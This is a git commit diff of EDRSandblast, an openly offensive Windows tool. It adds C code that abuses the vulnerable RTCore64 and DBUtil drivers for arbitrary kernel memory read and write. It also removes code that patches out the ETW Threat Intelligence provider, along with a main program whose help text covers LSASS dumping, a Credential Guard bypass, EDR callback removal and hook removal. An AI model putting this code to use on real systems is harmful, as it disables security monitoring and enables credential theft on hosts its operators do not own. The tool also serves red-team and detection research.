D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more

Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
Qazeer
2022-08-13 09:23:48 -07:00
parent 2e037a379b
commit 48a75a7029
91 changed files with 10503 additions and 4414 deletions
+4
View File
@@ -354,3 +354,7 @@ Offsets/*.exe
Offsets/*.dll
/Offsets/nt
/Offsets/wd
# Exclude drivers and lsass dumps
*.sys
lsass
+40 -3
View File
@@ -1,9 +1,22 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.31129.286
# Visual Studio Version 17
VisualStudioVersion = 17.2.32616.157
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}"
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_Core", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_StaticLibrary", "EDRSandblast_StaticLibrary\EDRSandblast_StaticLibrary.vcxproj", "{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_LsassDump", "EDRSandblast_LsassDump\EDRSandblast_LsassDump.vcxproj", "{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}"
ProjectSection(ProjectDependencies) = postProject
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23} = {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B} = {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_CLI", "EDRSandblast_CLI\EDRSandblast_CLI.vcxproj", "{FFA0FDDE-BE70-49E4-97DE-753304EF1113}"
ProjectSection(ProjectDependencies) = postProject
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B} = {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
@@ -21,6 +34,30 @@ Global
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.Build.0 = Release|x64
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.ActiveCfg = Release|Win32
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.Build.0 = Release|Win32
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x64.ActiveCfg = Debug|x64
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x64.Build.0 = Debug|x64
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x86.ActiveCfg = Debug|Win32
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x86.Build.0 = Debug|Win32
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x64.ActiveCfg = Release|x64
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x64.Build.0 = Release|x64
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x86.ActiveCfg = Release|Win32
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x86.Build.0 = Release|Win32
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x64.ActiveCfg = Debug|x64
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x64.Build.0 = Debug|x64
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x86.ActiveCfg = Debug|Win32
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x86.Build.0 = Debug|Win32
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x64.ActiveCfg = Release|x64
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x64.Build.0 = Release|x64
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x86.ActiveCfg = Release|Win32
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x86.Build.0 = Release|Win32
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x64.ActiveCfg = Debug|x64
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x64.Build.0 = Debug|x64
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x86.ActiveCfg = Debug|Win32
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x86.Build.0 = Debug|Win32
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x64.ActiveCfg = Release|x64
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x64.Build.0 = Release|x64
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x86.ActiveCfg = Release|Win32
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
+118
View File
@@ -0,0 +1,118 @@
#include <windows.h>
#include <assert.h>
#include <tchar.h>
#include "../EDRSandblast.h"
/*
* "DBUtil_2_3.sys" (SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5)
*/
struct DBUTIL23_MEMORY_READ {
DWORD64 field0;
DWORD64 Address;
DWORD Offset;
DWORD field14;
BYTE Buffer[1];
};
struct DBUTIL23_MEMORY_WRITE {
DWORD64 field0;
DWORD64 Address;
DWORD Offset;
DWORD field14;
BYTE Buffer[1];
};
static const DWORD DBUTIL23_MEMORY_READ_CODE = 0x9B0C1EC4;
static const DWORD DBUTIL23_MEMORY_WRITE_CODE = 0x9B0C1EC8;
static_assert(offsetof(struct DBUTIL23_MEMORY_READ, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_READ must be 0x18 bytes");
static_assert(offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_WRITE must be 0x18 bytes");
HANDLE g_Device_DBUtil = INVALID_HANDLE_VALUE;
HANDLE GetDriverHandle_DBUtil() {
if (g_Device_DBUtil == INVALID_HANDLE_VALUE) {
TCHAR service[] = TEXT("\\\\.\\DBUtil_2_3");
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
g_Device_DBUtil = Device;
}
return g_Device_DBUtil;
}
VOID CloseDriverHandle_DBUtil() {
CloseHandle(g_Device_DBUtil);
g_Device_DBUtil = INVALID_HANDLE_VALUE;
}
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
struct DBUTIL23_MEMORY_READ* ReadCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_READ));
if (!ReadCommand) {
_putts_or_not(TEXT("Allocation failed, aborting...\n"));
exit(1);
}
ReadCommand->Address = Address;
ReadCommand->Offset = 0;
DWORD BytesReturned;
if (Address < 0x0000800000000000) {
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
exit(1);
}
if (Address < 0xFFFF800000000000) {
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
exit(1);
}
DeviceIoControl(GetDriverHandle_DBUtil(),
DBUTIL23_MEMORY_READ_CODE,
ReadCommand,
offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size,
ReadCommand,
offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size,
&BytesReturned,
NULL);
memcpy(Buffer, ReadCommand->Buffer, Size);
}
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
struct DBUTIL23_MEMORY_WRITE* WriteCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_WRITE));
if (!WriteCommand) {
_putts_or_not(TEXT("Allocation failed, aborting...\n"));
exit(1);
}
WriteCommand->Address = Address;
WriteCommand->Offset = 0;
DWORD BytesReturned;
if (Address < 0x0000800000000000) {
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
exit(1);
}
if (Address < 0xFFFF800000000000) {
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
exit(1);
}
memcpy(WriteCommand->Buffer, Buffer, Size);
DeviceIoControl(GetDriverHandle_DBUtil(),
DBUTIL23_MEMORY_WRITE_CODE,
WriteCommand,
offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size,
WriteCommand,
offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size,
&BytesReturned,
NULL);
}
+168
View File
@@ -0,0 +1,168 @@
#include <windows.h>
#include <assert.h>
#include <tchar.h>
#if NO_STRINGS
#define _putts_or_not(...)
#define _tprintf_or_not(...)
#define wprintf_or_not(...)
#define printf_or_not(...)
#pragma warning(disable : 4189)
#else
#define _putts_or_not(...) _putts(__VA_ARGS__)
#define _tprintf_or_not(...) _tprintf(__VA_ARGS__)
#define printf_or_not(...) printf(__VA_ARGS__)
#define wprintf_or_not(...) wprintf(__VA_ARGS__)
#endif
/*
* "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD)
*/
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
DWORD Pad1;
DWORD Offset;
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
DWORD Pad1;
DWORD Offset;
DWORD WriteSize;
DWORD Value;
BYTE Pad3[16];
};
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
HANDLE g_Device_RTCore = INVALID_HANDLE_VALUE;
HANDLE GetDriverHandle_RTCore() {
if (g_Device_RTCore == INVALID_HANDLE_VALUE) {
TCHAR service[] = TEXT("\\\\.\\RTCore64");
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
g_Device_RTCore = Device;
}
return g_Device_RTCore;
}
VOID CloseDriverHandle_RTCore() {
CloseHandle(g_Device_RTCore);
g_Device_RTCore = INVALID_HANDLE_VALUE;
}
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
while (Size) {
struct RTCORE64_MEMORY_READ ReadCommand = { 0 };
ReadCommand.Address = Address;
if (Size >= 4) {
ReadCommand.ReadSize = 4;
}
else if (Size >= 2) {
ReadCommand.ReadSize = 2;
}
else {
ReadCommand.ReadSize = 1;
}
ReadCommand.Offset = 0;
DWORD BytesReturned;
if (Address < 0x0000800000000000) {
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
exit(1);
}
if (Address < 0xFFFF800000000000) {
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
exit(1);
}
DeviceIoControl(GetDriverHandle_RTCore(),
RTCORE64_MEMORY_READ_CODE,
&ReadCommand,
sizeof(ReadCommand),
&ReadCommand,
sizeof(ReadCommand),
&BytesReturned,
NULL);
Address += ReadCommand.ReadSize;
if (Size >= 4) {
*(PDWORD)Buffer = (DWORD)ReadCommand.Value;
}
else if (Size >= 2) {
*(PWORD)Buffer = (WORD)ReadCommand.Value;
}
else {
*(PBYTE)Buffer = (BYTE)ReadCommand.Value;
}
Size -= ReadCommand.ReadSize;
Buffer = (PVOID)(((DWORD64)Buffer) + ReadCommand.ReadSize);
}
}
/*
* RTCore driver allows to write 1, 2 or 4 bytes at a type
*/
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
while (Size) {
struct RTCORE64_MEMORY_WRITE WriteCommand = { 0 };
WriteCommand.Address = Address;
if (Size >= 4) {
WriteCommand.WriteSize = 4;
WriteCommand.Value = *(PDWORD)Buffer;
}
else if (Size >= 2) {
WriteCommand.WriteSize = 2;
WriteCommand.Value = *(PWORD)Buffer;
}
else {
WriteCommand.WriteSize = 1;
WriteCommand.Value = *(PBYTE)Buffer;
}
WriteCommand.Offset = 0;
DWORD BytesReturned;
if (Address < 0x0000800000000000) {
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
exit(1);
}
if (Address < 0xFFFF800000000000) {
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
exit(1);
}
DeviceIoControl(GetDriverHandle_RTCore (),
RTCORE64_MEMORY_WRITE_CODE,
&WriteCommand,
sizeof(WriteCommand),
&WriteCommand,
sizeof(WriteCommand),
&BytesReturned,
NULL);
Address += WriteCommand.WriteSize;
Size -= WriteCommand.WriteSize;
Buffer = (PVOID)(((DWORD64)Buffer) + WriteCommand.WriteSize);
}
}
-89
View File
@@ -1,89 +0,0 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#include <Windows.h>
#include <Tchar.h>
#include "ETWThreatIntel.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
return 0x0;
}
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
}
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
return 0x0;
}
HANDLE Device = GetDriverHandle();
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
if (verbose) {
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
}
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
CloseHandle(Device);
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
}
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return;
}
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
HANDLE Device = GetDriverHandle();
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
if (finalState == enable) {
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
}
else {
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
}
CloseHandle(Device);
}
void DisableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, FALSE);
}
void EnableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, TRUE);
}
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return FALSE;
}
HANDLE Device = GetDriverHandle();
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
CloseHandle(Device);
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
}
File diff suppressed because it is too large Load Diff
+19
View File
@@ -1,9 +1,28 @@
#pragma once
//TODO P1 : implement a "clean" mode that only removes the driver if installed
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
typedef enum _START_MODE {
dump,
cmd,
credguard,
audit,
firewall,
none
} START_MODE;
#define NO_STRINGS 0
#if NO_STRINGS
#define _putts_or_not(...)
#define _tprintf_or_not(...)
#define wprintf_or_not(...)
#define printf_or_not(...)
#pragma warning(disable : 4189)
#else
#define _putts_or_not(...) _putts(__VA_ARGS__)
#define _tprintf_or_not(...) _tprintf(__VA_ARGS__)
#define printf_or_not(...) printf(__VA_ARGS__)
#define wprintf_or_not(...) wprintf(__VA_ARGS__)
#endif
-549
View File
@@ -1,549 +0,0 @@
#include <Windows.h>
#include <stdio.h>
#include <Tchar.h>
#ifdef _DEBUG
#include <assert.h>
#endif
#include "CredGuard.h"
#include "DriverOps.h"
#include "ETWThreatIntel.h"
#include "KernelCallbacks.h"
#include "LSASSDump.h"
#include "NtoskrnlOffsets.h"
#include "RunAsPPL.h"
#include "WdigestOffsets.h"
#include "UserlandHooks.h"
#include "EDRSandBlast.h"
/*
--- Execution entry point.
*/
int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed.
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe <audit | dump | cmd | credguard> [-h | --help] [-v | --verbose] [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\
\n\
Actions mode:\n\
\n\
\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
\t specified file using -o | --output <DUMP_FILE>.\n\
\tcmd Open a cmd.exe prompt.\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
\n\
--usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
\n\
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
\n\
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
\t present userland hooks.\n\
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
\t userland hooks.\n\
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
\t hooks.\n\
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
\t present userland hooks.\n\
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
\t and uses it to remove all detected hooks\n\
\n\
Other options:\n\
\n\
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
Default to automatically unsinstall the driver.\n\
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
Default to restore the callbacks.\n\
\n\
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
\n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
\n\
--add-dll <dll name or path> Loads arbitrary libraries into the process' address space, before starting\n\
anything. This can be useful to audit userland hooking for DLL that are not\n\
loaded by default by this program. Use this option multiple times to load\n\
multiple DLLs all at once.\n\
Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\
samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\
\n\
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
Default to 'lsass' in the current directory.\n");
BOOL status;
TCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
if (argc < 2) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
START_MODE startMode = none;
TCHAR driverPath[MAX_PATH * 2] = { 0 };
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR outputPath[MAX_PATH * 2] = { 0 };
BOOL verbose = FALSE;
BOOL removeVulnDriver = TRUE;
BOOL restoreCallbacks = TRUE;
BOOL userMode = FALSE;
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
BOOL kernelMode = FALSE;
int lpExitCode = EXIT_SUCCESS;
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
BOOL ETWTIState = FALSE;
hook* hooks = NULL;
for (int i = 1; i < argc; i++) {
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
startMode = dump;
}
else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) {
startMode = cmd;
}
else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) {
startMode = credguard;
}
else if (_tcsicmp(argv[i], TEXT("audit")) == 0) {
startMode = audit;
}
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_tprintf(TEXT("%s\n"), usage);
_tprintf(TEXT("%s\n"), extendedUsage);
return EXIT_SUCCESS;
}
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
verbose = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
userMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
kernelMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
removeVulnDriver = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
restoreCallbacks = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
SetServiceName(argv[i], _tcslen(argv[i]) + 1);
}
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
unhook_method = _ttoi(argv[i]);
}
else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
HANDLE hAdditionnalLib = LoadLibrary(argv[i]);
if (hAdditionnalLib == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]);
return EXIT_FAILURE;
}
}
else {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
}
// Command line option consistency checks.
if (startMode == none){
_tprintf(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd\n"));
return EXIT_FAILURE;
}
if (startMode == cmd && !kernelMode) {
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
return EXIT_FAILURE;
}
if (!userMode && !kernelMode) {
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
userMode = TRUE;
}
if (startMode == credguard && !kernelMode) {
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (startMode == dump && !kernelMode) {
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (!userMode && kernelMode) {
_tprintf(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
}
BOOL isSafeToExecutePayload = TRUE;
if (userMode) {
_tprintf(TEXT("Loaded DLLs in current process:\n"));
hooks = searchHooks(NULL);
_tprintf(TEXT("\n\n"));
if (startMode != audit) {
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
unhook(ptr, unhook_method);
}
}
}
if (kernelMode) {
if (_tcslen(driverPath) == 0) {
TCHAR separator[] = TEXT("\\");
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
}
DWORD driverAttrib = GetFileAttributes(driverPath);
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
return EXIT_FAILURE;
}
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("\n\n"));
// Install the vulnerable driver to have read / write in Kernel memory.
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
